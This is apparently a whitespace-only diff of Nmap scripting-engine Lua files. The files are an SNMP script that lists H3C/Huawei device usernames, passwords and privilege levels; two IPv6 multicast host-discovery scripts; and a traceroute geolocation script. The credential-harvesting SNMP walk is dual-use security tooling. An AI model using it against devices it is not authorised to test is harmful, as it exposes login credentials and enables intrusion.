local hh3cUserLevel = "1.3.6.1.4.1.25506.2.12.1.1.1.4"
|
local hh3cUserLevel = "1.3.6.1.4.1.25506.2.12.1.1.1.4"
|
||||||
local hh3cUserState = "1.3.6.1.4.1.25506.2.12.1.1.1.5"
|
local hh3cUserState = "1.3.6.1.4.1.25506.2.12.1.1.1.5"
|
||||||
|
|
||||||
local output = stdnse.output_table()
|
local output = stdnse.output_table()
|
||||||
output.users = {}
|
output.users = {}
|
||||||
|
|
||||||
for _, v in ipairs( tbl ) do
|
for _, v in ipairs( tbl ) do
|
||||||
|
|
||||||
if ( v.oid:match("^" .. h3cUserName) ) then
|
if ( v.oid:match("^" .. h3cUserName) ) then
|
||||||
local item = {}
|
local item = {}
|
||||||
local oldobjid = v.oid:gsub( "^" .. h3cUserName, h3cUserPassword)
|
local oldobjid = v.oid:gsub( "^" .. h3cUserName, h3cUserPassword)
|
||||||
local password = get_value_from_table( tbl, oldobjid )
|
local password = get_value_from_table( tbl, oldobjid )
|
||||||
|
|
||||||
if ( password == nil ) or ( #password == 0 ) then
|
if ( password == nil ) or ( #password == 0 ) then
|
||||||
local newobjid = v.oid:gsub( "^" .. hh3cUserName, hh3cUserPassword)
|
local newobjid = v.oid:gsub( "^" .. hh3cUserName, hh3cUserPassword)
|
||||||
password = get_value_from_table( tbl, newobjid )
|
password = get_value_from_table( tbl, newobjid )
|
||||||
end
|
end
|
||||||
|
|
||||||
oldobjid = v.oid:gsub( "^" .. h3cUserName, h3cUserLevel)
|
oldobjid = v.oid:gsub( "^" .. h3cUserName, h3cUserLevel)
|
||||||
local level = get_value_from_table( tbl, oldobjid )
|
local level = get_value_from_table( tbl, oldobjid )
|
||||||
|
|
||||||
if ( level == nil ) then
|
if ( level == nil ) then
|
||||||
local newobjoid = v.oid:gsub( "^" .. hh3cUserName, hh3cUserLevel)
|
local newobjoid = v.oid:gsub( "^" .. hh3cUserName, hh3cUserLevel)
|
||||||
level = get_value_from_table( tbl, oldobjid )
|
level = get_value_from_table( tbl, oldobjid )
|
||||||
end
|
end
|
||||||
|
|
||||||
output.users[#output.users + 1] = {username=v.value, password=password, level=level}
|
output.users[#output.users + 1] = {username=v.value, password=password, level=level}
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
return output
|
return output
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local socket = nmap.new_socket()
|
local socket = nmap.new_socket()
|
||||||
local catch = function() socket:close() end
|
local catch = function() socket:close() end
|
||||||
local try = nmap.new_try(catch)
|
local try = nmap.new_try(catch)
|
||||||
local data, oldsnmpoid = nil, "1.3.6.1.4.1.2011.10.2.12.1.1.1"
|
local data, oldsnmpoid = nil, "1.3.6.1.4.1.2011.10.2.12.1.1.1"
|
||||||
local data, newsnmpoid = nil, "1.3.6.1.4.1.25506.2.12.1.1.1"
|
local data, newsnmpoid = nil, "1.3.6.1.4.1.25506.2.12.1.1.1"
|
||||||
local users = {}
|
local users = {}
|
||||||
local status
|
local status
|
||||||
|
|
||||||
socket:set_timeout(5000)
|
socket:set_timeout(5000)
|
||||||
try(socket:connect(host, port))
|
try(socket:connect(host, port))
|
||||||
|
|
||||||
status, users = snmp.snmpWalk( socket, oldsnmpoid )
|
status, users = snmp.snmpWalk( socket, oldsnmpoid )
|
||||||
socket:close()
|
socket:close()
|
||||||
|
|
||||||
if (not(status)) or ( users == nil ) or ( #users == 0 ) then
|
if (not(status)) or ( users == nil ) or ( #users == 0 ) then
|
||||||
|
|
||||||
-- no status? try new snmp oid
|
-- no status? try new snmp oid
|
||||||
socket:set_timeout(5000)
|
socket:set_timeout(5000)
|
||||||
try(socket:connect(host, port))
|
try(socket:connect(host, port))
|
||||||
status, users = snmp.snmpWalk( socket, newsnmpoid )
|
status, users = snmp.snmpWalk( socket, newsnmpoid )
|
||||||
socket:close()
|
socket:close()
|
||||||
|
|
||||||
if (not(status)) or ( users == nil ) or ( #users == 0 ) then
|
if (not(status)) or ( users == nil ) or ( #users == 0 ) then
|
||||||
return users
|
return users
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
nmap.set_port_state(host, port, "open")
|
nmap.set_port_state(host, port, "open")
|
||||||
return process_answer(users)
|
return process_answer(users)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -32,139 +32,139 @@ categories = {"discovery","broadcast"}
|
|||||||
|
|
||||||
|
|
||||||
prerule = function()
|
prerule = function()
|
||||||
return nmap.is_privileged()
|
return nmap.is_privileged()
|
||||||
end
|
end
|
||||||
|
|
||||||
local function get_interfaces()
|
local function get_interfaces()
|
||||||
local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
|
local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
|
||||||
or nmap.get_interface()
|
or nmap.get_interface()
|
||||||
|
|
||||||
-- interfaces list (decide which interfaces to broadcast on)
|
-- interfaces list (decide which interfaces to broadcast on)
|
||||||
local interfaces = {}
|
local interfaces = {}
|
||||||
if interface_name then
|
if interface_name then
|
||||||
-- single interface defined
|
-- single interface defined
|
||||||
local if_table = nmap.get_interface_info(interface_name)
|
local if_table = nmap.get_interface_info(interface_name)
|
||||||
if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
|
if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
|
||||||
interfaces[#interfaces + 1] = if_table
|
interfaces[#interfaces + 1] = if_table
|
||||||
else
|
else
|
||||||
stdnse.print_debug("Interface not supported or not properly configured.")
|
stdnse.print_debug("Interface not supported or not properly configured.")
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
for _, if_table in ipairs(nmap.list_interfaces()) do
|
for _, if_table in ipairs(nmap.list_interfaces()) do
|
||||||
if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
|
if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
|
||||||
table.insert(interfaces, if_table)
|
table.insert(interfaces, if_table)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
return interfaces
|
return interfaces
|
||||||
end
|
end
|
||||||
|
|
||||||
local function single_interface_broadcast(if_nfo, results)
|
local function single_interface_broadcast(if_nfo, results)
|
||||||
stdnse.print_debug("Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device)
|
stdnse.print_debug("Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device)
|
||||||
|
|
||||||
local condvar = nmap.condvar(results)
|
local condvar = nmap.condvar(results)
|
||||||
local src_mac = if_nfo.mac
|
local src_mac = if_nfo.mac
|
||||||
local src_ip6 = packet.ip6tobin(if_nfo.address)
|
local src_ip6 = packet.ip6tobin(if_nfo.address)
|
||||||
local dst_mac = packet.mactobin("33:33:00:00:00:01")
|
local dst_mac = packet.mactobin("33:33:00:00:00:01")
|
||||||
local dst_ip6 = packet.ip6tobin("ff02::1")
|
local dst_ip6 = packet.ip6tobin("ff02::1")
|
||||||
|
|
||||||
----------------------------------------------------------------------------
|
----------------------------------------------------------------------------
|
||||||
--Multicast echo ping probe
|
--Multicast echo ping probe
|
||||||
|
|
||||||
local dnet = nmap.new_dnet()
|
local dnet = nmap.new_dnet()
|
||||||
local pcap = nmap.new_socket()
|
local pcap = nmap.new_socket()
|
||||||
|
|
||||||
local function catch ()
|
local function catch ()
|
||||||
dnet:ethernet_close()
|
dnet:ethernet_close()
|
||||||
pcap:pcap_close()
|
pcap:pcap_close()
|
||||||
|
end
|
||||||
|
local try = nmap.new_try(catch)
|
||||||
|
|
||||||
|
try(dnet:ethernet_open(if_nfo.device))
|
||||||
|
pcap:pcap_open(if_nfo.device, 128, false, "icmp6 and ip6[6:1] = 58 and ip6[40:1] = 129")
|
||||||
|
|
||||||
|
local probe = packet.Frame:new()
|
||||||
|
probe.mac_src = src_mac
|
||||||
|
probe.mac_dst = dst_mac
|
||||||
|
probe.ip_bin_src = src_ip6
|
||||||
|
probe.ip_bin_dst = dst_ip6
|
||||||
|
probe.echo_id = 5
|
||||||
|
probe.echo_seq = 6
|
||||||
|
probe.echo_data = "Nmap host discovery."
|
||||||
|
probe:build_icmpv6_echo_request()
|
||||||
|
probe:build_icmpv6_header()
|
||||||
|
probe:build_ipv6_packet()
|
||||||
|
probe:build_ether_frame()
|
||||||
|
|
||||||
|
try(dnet:ethernet_send(probe.frame_buf))
|
||||||
|
|
||||||
|
pcap:set_timeout(1000)
|
||||||
|
local pcap_timeout_count = 0
|
||||||
|
local nse_timeout = 5
|
||||||
|
local start_time = nmap:clock()
|
||||||
|
local cur_time = nmap:clock()
|
||||||
|
|
||||||
|
repeat
|
||||||
|
local status, length, layer2, layer3 = pcap:pcap_receive()
|
||||||
|
cur_time = nmap:clock()
|
||||||
|
if not status then
|
||||||
|
pcap_timeout_count = pcap_timeout_count + 1
|
||||||
|
else
|
||||||
|
local reply = packet.Frame:new(layer2..layer3)
|
||||||
|
if reply.mac_dst == src_mac then
|
||||||
|
local target_str = reply.ip_src
|
||||||
|
if not results[target_str] then
|
||||||
|
if target.ALLOW_NEW_TARGETS then
|
||||||
|
target.add(target_str)
|
||||||
|
end
|
||||||
|
results[#results + 1] = { address = target_str, mac = stdnse.format_mac(reply.mac_src), iface = if_nfo.device }
|
||||||
|
results[target_str] = true
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
local try = nmap.new_try(catch)
|
until pcap_timeout_count >= 2 or cur_time - start_time >= nse_timeout
|
||||||
|
|
||||||
try(dnet:ethernet_open(if_nfo.device))
|
dnet:ethernet_close()
|
||||||
pcap:pcap_open(if_nfo.device, 128, false, "icmp6 and ip6[6:1] = 58 and ip6[40:1] = 129")
|
pcap:pcap_close()
|
||||||
|
|
||||||
local probe = packet.Frame:new()
|
condvar("signal")
|
||||||
probe.mac_src = src_mac
|
|
||||||
probe.mac_dst = dst_mac
|
|
||||||
probe.ip_bin_src = src_ip6
|
|
||||||
probe.ip_bin_dst = dst_ip6
|
|
||||||
probe.echo_id = 5
|
|
||||||
probe.echo_seq = 6
|
|
||||||
probe.echo_data = "Nmap host discovery."
|
|
||||||
probe:build_icmpv6_echo_request()
|
|
||||||
probe:build_icmpv6_header()
|
|
||||||
probe:build_ipv6_packet()
|
|
||||||
probe:build_ether_frame()
|
|
||||||
|
|
||||||
try(dnet:ethernet_send(probe.frame_buf))
|
|
||||||
|
|
||||||
pcap:set_timeout(1000)
|
|
||||||
local pcap_timeout_count = 0
|
|
||||||
local nse_timeout = 5
|
|
||||||
local start_time = nmap:clock()
|
|
||||||
local cur_time = nmap:clock()
|
|
||||||
|
|
||||||
repeat
|
|
||||||
local status, length, layer2, layer3 = pcap:pcap_receive()
|
|
||||||
cur_time = nmap:clock()
|
|
||||||
if not status then
|
|
||||||
pcap_timeout_count = pcap_timeout_count + 1
|
|
||||||
else
|
|
||||||
local reply = packet.Frame:new(layer2..layer3)
|
|
||||||
if reply.mac_dst == src_mac then
|
|
||||||
local target_str = reply.ip_src
|
|
||||||
if not results[target_str] then
|
|
||||||
if target.ALLOW_NEW_TARGETS then
|
|
||||||
target.add(target_str)
|
|
||||||
end
|
|
||||||
results[#results + 1] = { address = target_str, mac = stdnse.format_mac(reply.mac_src), iface = if_nfo.device }
|
|
||||||
results[target_str] = true
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
until pcap_timeout_count >= 2 or cur_time - start_time >= nse_timeout
|
|
||||||
|
|
||||||
dnet:ethernet_close()
|
|
||||||
pcap:pcap_close()
|
|
||||||
|
|
||||||
condvar("signal")
|
|
||||||
end
|
end
|
||||||
|
|
||||||
local function format_output(results)
|
local function format_output(results)
|
||||||
local output = tab.new()
|
local output = tab.new()
|
||||||
|
|
||||||
for _, record in ipairs(results) do
|
for _, record in ipairs(results) do
|
||||||
tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface)
|
tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface)
|
||||||
end
|
end
|
||||||
if #results > 0 then
|
if #results > 0 then
|
||||||
output = { tab.dump(output) }
|
output = { tab.dump(output) }
|
||||||
if not target.ALLOW_NEW_TARGETS then
|
if not target.ALLOW_NEW_TARGETS then
|
||||||
output[#output + 1] = "Use --script-args=newtargets to add the results as targets"
|
output[#output + 1] = "Use --script-args=newtargets to add the results as targets"
|
||||||
end
|
end
|
||||||
return stdnse.format_output(true, output)
|
return stdnse.format_output(true, output)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function()
|
action = function()
|
||||||
local threads = {}
|
local threads = {}
|
||||||
local results = {}
|
local results = {}
|
||||||
local condvar = nmap.condvar(results)
|
local condvar = nmap.condvar(results)
|
||||||
|
|
||||||
for _, if_nfo in ipairs(get_interfaces()) do
|
for _, if_nfo in ipairs(get_interfaces()) do
|
||||||
-- create a thread for each interface
|
-- create a thread for each interface
|
||||||
local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results)
|
local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results)
|
||||||
threads[co] = true
|
threads[co] = true
|
||||||
end
|
end
|
||||||
|
|
||||||
repeat
|
repeat
|
||||||
for thread in pairs(threads) do
|
for thread in pairs(threads) do
|
||||||
if coroutine.status(thread) == "dead" then threads[thread] = nil end
|
if coroutine.status(thread) == "dead" then threads[thread] = nil end
|
||||||
end
|
end
|
||||||
if ( next(threads) ) then
|
if ( next(threads) ) then
|
||||||
condvar "wait"
|
condvar "wait"
|
||||||
end
|
end
|
||||||
until next(threads) == nil
|
until next(threads) == nil
|
||||||
|
|
||||||
return format_output(results)
|
return format_output(results)
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -35,146 +35,146 @@ categories = {"discovery","broadcast"}
|
|||||||
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. '.timeout'))
|
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. '.timeout'))
|
||||||
|
|
||||||
prerule = function()
|
prerule = function()
|
||||||
if ( not(nmap.is_privileged()) ) then
|
if ( not(nmap.is_privileged()) ) then
|
||||||
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
|
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
local function get_interfaces()
|
local function get_interfaces()
|
||||||
local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
|
local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
|
||||||
or nmap.get_interface()
|
or nmap.get_interface()
|
||||||
|
|
||||||
-- interfaces list (decide which interfaces to broadcast on)
|
-- interfaces list (decide which interfaces to broadcast on)
|
||||||
local interfaces = {}
|
local interfaces = {}
|
||||||
if interface_name then
|
if interface_name then
|
||||||
-- single interface defined
|
-- single interface defined
|
||||||
local if_table = nmap.get_interface_info(interface_name)
|
local if_table = nmap.get_interface_info(interface_name)
|
||||||
if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
|
if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
|
||||||
interfaces[#interfaces + 1] = if_table
|
interfaces[#interfaces + 1] = if_table
|
||||||
else
|
else
|
||||||
stdnse.print_debug("Interface not supported or not properly configured.")
|
stdnse.print_debug("Interface not supported or not properly configured.")
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
for _, if_table in ipairs(nmap.list_interfaces()) do
|
for _, if_table in ipairs(nmap.list_interfaces()) do
|
||||||
if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
|
if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
|
||||||
table.insert(interfaces, if_table)
|
table.insert(interfaces, if_table)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
return interfaces
|
return interfaces
|
||||||
end
|
end
|
||||||
|
|
||||||
local function single_interface_broadcast(if_nfo, results)
|
local function single_interface_broadcast(if_nfo, results)
|
||||||
stdnse.print_debug(2, "Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device)
|
stdnse.print_debug(2, "Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device)
|
||||||
local condvar = nmap.condvar(results)
|
local condvar = nmap.condvar(results)
|
||||||
local src_mac = if_nfo.mac
|
local src_mac = if_nfo.mac
|
||||||
local src_ip6 = packet.ip6tobin(if_nfo.address)
|
local src_ip6 = packet.ip6tobin(if_nfo.address)
|
||||||
local dst_mac = packet.mactobin("33:33:00:00:00:01")
|
local dst_mac = packet.mactobin("33:33:00:00:00:01")
|
||||||
local dst_ip6 = packet.ip6tobin("ff02::1")
|
local dst_ip6 = packet.ip6tobin("ff02::1")
|
||||||
local gen_qry = packet.ip6tobin("::")
|
local gen_qry = packet.ip6tobin("::")
|
||||||
|
|
||||||
local dnet = nmap.new_dnet()
|
local dnet = nmap.new_dnet()
|
||||||
local pcap = nmap.new_socket()
|
local pcap = nmap.new_socket()
|
||||||
|
|
||||||
dnet:ethernet_open(if_nfo.device)
|
dnet:ethernet_open(if_nfo.device)
|
||||||
pcap:pcap_open(if_nfo.device, 1500, false, "ip6[40:1] == 58")
|
pcap:pcap_open(if_nfo.device, 1500, false, "ip6[40:1] == 58")
|
||||||
|
|
||||||
local probe = packet.Frame:new()
|
local probe = packet.Frame:new()
|
||||||
probe.mac_src = src_mac
|
probe.mac_src = src_mac
|
||||||
probe.mac_dst = dst_mac
|
probe.mac_dst = dst_mac
|
||||||
probe.ip_bin_src = src_ip6
|
probe.ip_bin_src = src_ip6
|
||||||
probe.ip_bin_dst = dst_ip6
|
probe.ip_bin_dst = dst_ip6
|
||||||
|
|
||||||
probe.ip6_tc = 0
|
probe.ip6_tc = 0
|
||||||
probe.ip6_fl = 0
|
probe.ip6_fl = 0
|
||||||
probe.ip6_hlimit = 1
|
probe.ip6_hlimit = 1
|
||||||
|
|
||||||
probe.icmpv6_type = packet.MLD_LISTENER_QUERY
|
probe.icmpv6_type = packet.MLD_LISTENER_QUERY
|
||||||
probe.icmpv6_code = 0
|
probe.icmpv6_code = 0
|
||||||
|
|
||||||
-- Add a non-empty payload too.
|
-- Add a non-empty payload too.
|
||||||
probe.icmpv6_payload = bin.pack("HA", "00 00 00 00", gen_qry)
|
probe.icmpv6_payload = bin.pack("HA", "00 00 00 00", gen_qry)
|
||||||
probe:build_icmpv6_header()
|
probe:build_icmpv6_header()
|
||||||
probe.exheader = bin.pack("CH", packet.IPPROTO_ICMPV6, "00 05 02 00 00 01 00")
|
probe.exheader = bin.pack("CH", packet.IPPROTO_ICMPV6, "00 05 02 00 00 01 00")
|
||||||
probe.ip6_nhdr = packet.IPPROTO_HOPOPTS
|
probe.ip6_nhdr = packet.IPPROTO_HOPOPTS
|
||||||
|
|
||||||
probe:build_ipv6_packet()
|
probe:build_ipv6_packet()
|
||||||
probe:build_ether_frame()
|
probe:build_ether_frame()
|
||||||
|
|
||||||
dnet:ethernet_send(probe.frame_buf)
|
dnet:ethernet_send(probe.frame_buf)
|
||||||
|
|
||||||
pcap:set_timeout(1000)
|
pcap:set_timeout(1000)
|
||||||
local pcap_timeout_count = 0
|
local pcap_timeout_count = 0
|
||||||
local nse_timeout = arg_timeout or 10
|
local nse_timeout = arg_timeout or 10
|
||||||
local start_time = nmap:clock()
|
local start_time = nmap:clock()
|
||||||
local addrs = {}
|
local addrs = {}
|
||||||
|
|
||||||
repeat
|
repeat
|
||||||
local status, length, layer2, layer3 = pcap:pcap_receive()
|
local status, length, layer2, layer3 = pcap:pcap_receive()
|
||||||
local cur_time = nmap:clock()
|
local cur_time = nmap:clock()
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
local l2reply = packet.Frame:new(layer2)
|
local l2reply = packet.Frame:new(layer2)
|
||||||
local reply = packet.Packet:new(layer3, length, true)
|
local reply = packet.Packet:new(layer3, length, true)
|
||||||
if ( reply.ip6_nhdr == packet.MLD_LISTENER_REPORT or
|
if ( reply.ip6_nhdr == packet.MLD_LISTENER_REPORT or
|
||||||
reply.ip6_nhdr == packet.MLDV2_LISTENER_REPORT ) then
|
reply.ip6_nhdr == packet.MLDV2_LISTENER_REPORT ) then
|
||||||
local target_str = reply.ip_src
|
local target_str = reply.ip_src
|
||||||
if not results[target_str] then
|
if not results[target_str] then
|
||||||
if target.ALLOW_NEW_TARGETS then
|
if target.ALLOW_NEW_TARGETS then
|
||||||
target.add(target_str)
|
target.add(target_str)
|
||||||
end
|
end
|
||||||
results[target_str] = { address = target_str, mac = stdnse.format_mac(l2reply.mac_src), iface = if_nfo.device }
|
results[target_str] = { address = target_str, mac = stdnse.format_mac(l2reply.mac_src), iface = if_nfo.device }
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
until ( cur_time - start_time >= nse_timeout )
|
until ( cur_time - start_time >= nse_timeout )
|
||||||
|
|
||||||
dnet:ethernet_close()
|
dnet:ethernet_close()
|
||||||
pcap:pcap_close()
|
pcap:pcap_close()
|
||||||
|
|
||||||
condvar("signal")
|
condvar("signal")
|
||||||
end
|
end
|
||||||
|
|
||||||
local function format_output(results)
|
local function format_output(results)
|
||||||
local output = tab.new()
|
local output = tab.new()
|
||||||
|
|
||||||
for _, record in pairs(results) do
|
for _, record in pairs(results) do
|
||||||
tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface)
|
tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface)
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( #output > 0 ) then
|
if ( #output > 0 ) then
|
||||||
output = { tab.dump(output) }
|
output = { tab.dump(output) }
|
||||||
if not target.ALLOW_NEW_TARGETS then
|
if not target.ALLOW_NEW_TARGETS then
|
||||||
table.insert(output, "")
|
table.insert(output, "")
|
||||||
table.insert(output, "Use --script-args=newtargets to add the results as targets")
|
table.insert(output, "Use --script-args=newtargets to add the results as targets")
|
||||||
end
|
end
|
||||||
return stdnse.format_output(true, output)
|
return stdnse.format_output(true, output)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function()
|
action = function()
|
||||||
local threads = {}
|
local threads = {}
|
||||||
local results = {}
|
local results = {}
|
||||||
local condvar = nmap.condvar(results)
|
local condvar = nmap.condvar(results)
|
||||||
|
|
||||||
for _, if_nfo in ipairs(get_interfaces()) do
|
for _, if_nfo in ipairs(get_interfaces()) do
|
||||||
-- create a thread for each interface
|
-- create a thread for each interface
|
||||||
local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results)
|
local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results)
|
||||||
threads[co] = true
|
threads[co] = true
|
||||||
end
|
end
|
||||||
|
|
||||||
repeat
|
repeat
|
||||||
for thread in pairs(threads) do
|
for thread in pairs(threads) do
|
||||||
if coroutine.status(thread) == "dead" then threads[thread] = nil end
|
if coroutine.status(thread) == "dead" then threads[thread] = nil end
|
||||||
end
|
end
|
||||||
if ( next(threads) ) then
|
if ( next(threads) ) then
|
||||||
condvar "wait"
|
condvar "wait"
|
||||||
end
|
end
|
||||||
until next(threads) == nil
|
until next(threads) == nil
|
||||||
|
|
||||||
return format_output(results)
|
return format_output(results)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -71,42 +71,42 @@ categories = {"safe", "external", "discovery"}
|
|||||||
local arg_kmlfile = stdnse.get_script_args(SCRIPT_NAME .. ".kmlfile")
|
local arg_kmlfile = stdnse.get_script_args(SCRIPT_NAME .. ".kmlfile")
|
||||||
|
|
||||||
hostrule = function(host)
|
hostrule = function(host)
|
||||||
if ( not(host.traceroute) ) then
|
if ( not(host.traceroute) ) then
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
--
|
--
|
||||||
-- GeoPlugin requires no API key and has no limitations on lookups
|
-- GeoPlugin requires no API key and has no limitations on lookups
|
||||||
--
|
--
|
||||||
local function geoLookup(ip)
|
local function geoLookup(ip)
|
||||||
local response = http.get("www.geoplugin.net", 80, "/json.gp?ip="..ip)
|
local response = http.get("www.geoplugin.net", 80, "/json.gp?ip="..ip)
|
||||||
local stat, loc = json.parse(response.body)
|
local stat, loc = json.parse(response.body)
|
||||||
|
|
||||||
if not stat then return nil end
|
if not stat then return nil end
|
||||||
local output = {}
|
local output = {}
|
||||||
local regionName = (loc.geoplugin_regionName == json.NULL) and "Unknown" or loc.geoplugin_regionName
|
local regionName = (loc.geoplugin_regionName == json.NULL) and "Unknown" or loc.geoplugin_regionName
|
||||||
return loc.geoplugin_latitude, loc.geoplugin_longitude, regionName, loc.geoplugin_countryName
|
return loc.geoplugin_latitude, loc.geoplugin_longitude, regionName, loc.geoplugin_countryName
|
||||||
end
|
end
|
||||||
|
|
||||||
local function createKMLFile(filename, coords)
|
local function createKMLFile(filename, coords)
|
||||||
local header = '<?xml version="1.0" encoding="UTF-8"?><kml xmlns="http://earth.google.com/kml/2.0"><Document><Placemark><LineString><coordinates>\r\n'
|
local header = '<?xml version="1.0" encoding="UTF-8"?><kml xmlns="http://earth.google.com/kml/2.0"><Document><Placemark><LineString><coordinates>\r\n'
|
||||||
local footer = '</coordinates></LineString><Style><LineStyle><color>#ff0000ff</color></LineStyle></Style></Placemark></Document></kml>'
|
local footer = '</coordinates></LineString><Style><LineStyle><color>#ff0000ff</color></LineStyle></Style></Placemark></Document></kml>'
|
||||||
|
|
||||||
local output = ""
|
local output = ""
|
||||||
for _, coord in ipairs(coords) do
|
for _, coord in ipairs(coords) do
|
||||||
output = output .. ("%s,%s, 0.\r\n"):format(coord.lon, coord.lat)
|
output = output .. ("%s,%s, 0.\r\n"):format(coord.lon, coord.lat)
|
||||||
end
|
end
|
||||||
|
|
||||||
local f = io.open(filename, "w")
|
local f = io.open(filename, "w")
|
||||||
if ( not(f) ) then
|
if ( not(f) ) then
|
||||||
return false, "Failed to create KML file"
|
return false, "Failed to create KML file"
|
||||||
end
|
end
|
||||||
f:write(header .. output .. footer)
|
f:write(header .. output .. footer)
|
||||||
f:close()
|
f:close()
|
||||||
|
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Tables used to accumulate output.
|
-- Tables used to accumulate output.
|
||||||
@@ -115,53 +115,53 @@ local output = tab.new(4)
|
|||||||
local coordinates = {}
|
local coordinates = {}
|
||||||
|
|
||||||
local function output_hop(count, ip, name, rtt, lat, lon, ctry, reg)
|
local function output_hop(count, ip, name, rtt, lat, lon, ctry, reg)
|
||||||
if ip then
|
if ip then
|
||||||
local label
|
local label
|
||||||
if name then
|
if name then
|
||||||
label = ("%s (%s)"):format(name or "", ip)
|
label = ("%s (%s)"):format(name or "", ip)
|
||||||
else
|
else
|
||||||
label = ("%s"):format(ip)
|
label = ("%s"):format(ip)
|
||||||
end
|
end
|
||||||
if lat then
|
if lat then
|
||||||
table.insert(output_structured, { hop = count, ip = ip, hostname = name, rtt = ("%.2f"):format(rtt), lat = lat, lon = lon })
|
table.insert(output_structured, { hop = count, ip = ip, hostname = name, rtt = ("%.2f"):format(rtt), lat = lat, lon = lon })
|
||||||
tab.addrow(output, count, ("%.2f"):format(rtt), label, ("%d,%d %s (%s)"):format(lat, lon, ctry, reg))
|
tab.addrow(output, count, ("%.2f"):format(rtt), label, ("%d,%d %s (%s)"):format(lat, lon, ctry, reg))
|
||||||
table.insert(coordinates, { hop = count, lat = lat, lon = lon })
|
table.insert(coordinates, { hop = count, lat = lat, lon = lon })
|
||||||
else
|
else
|
||||||
table.insert(output_structured, { hop = count, ip = ip, hostname = name, rtt = ("%.2f"):format(rtt) })
|
table.insert(output_structured, { hop = count, ip = ip, hostname = name, rtt = ("%.2f"):format(rtt) })
|
||||||
tab.addrow(output, count, ("%.2f"):format(rtt), label, ("%s,%s"):format("- ", "- "))
|
tab.addrow(output, count, ("%.2f"):format(rtt), label, ("%s,%s"):format("- ", "- "))
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
table.insert(output_structured, { hop = count })
|
table.insert(output_structured, { hop = count })
|
||||||
tab.addrow(output, count, "...")
|
tab.addrow(output, count, "...")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host)
|
action = function(host)
|
||||||
tab.addrow(output, "HOP", "RTT", "ADDRESS", "GEOLOCATION")
|
tab.addrow(output, "HOP", "RTT", "ADDRESS", "GEOLOCATION")
|
||||||
for count = 1, #host.traceroute do
|
for count = 1, #host.traceroute do
|
||||||
local hop = host.traceroute[count]
|
local hop = host.traceroute[count]
|
||||||
-- avoid timedout hops, marked as empty entries
|
-- avoid timedout hops, marked as empty entries
|
||||||
-- do not add the current scanned host.ip
|
-- do not add the current scanned host.ip
|
||||||
if hop.ip then
|
if hop.ip then
|
||||||
local rtt = tonumber(hop.times.srtt) * 1000
|
local rtt = tonumber(hop.times.srtt) * 1000
|
||||||
if ( not(ipOps.isPrivate(hop.ip) ) ) then
|
if ( not(ipOps.isPrivate(hop.ip) ) ) then
|
||||||
local lat, lon, reg, ctry = geoLookup(hop.ip)
|
local lat, lon, reg, ctry = geoLookup(hop.ip)
|
||||||
output_hop(count, hop.ip, hop.name, rtt, lat, lon, ctry, reg)
|
output_hop(count, hop.ip, hop.name, rtt, lat, lon, ctry, reg)
|
||||||
else
|
else
|
||||||
output_hop(count, hop.ip, hop.name, rtt)
|
output_hop(count, hop.ip, hop.name, rtt)
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
output_hop(count)
|
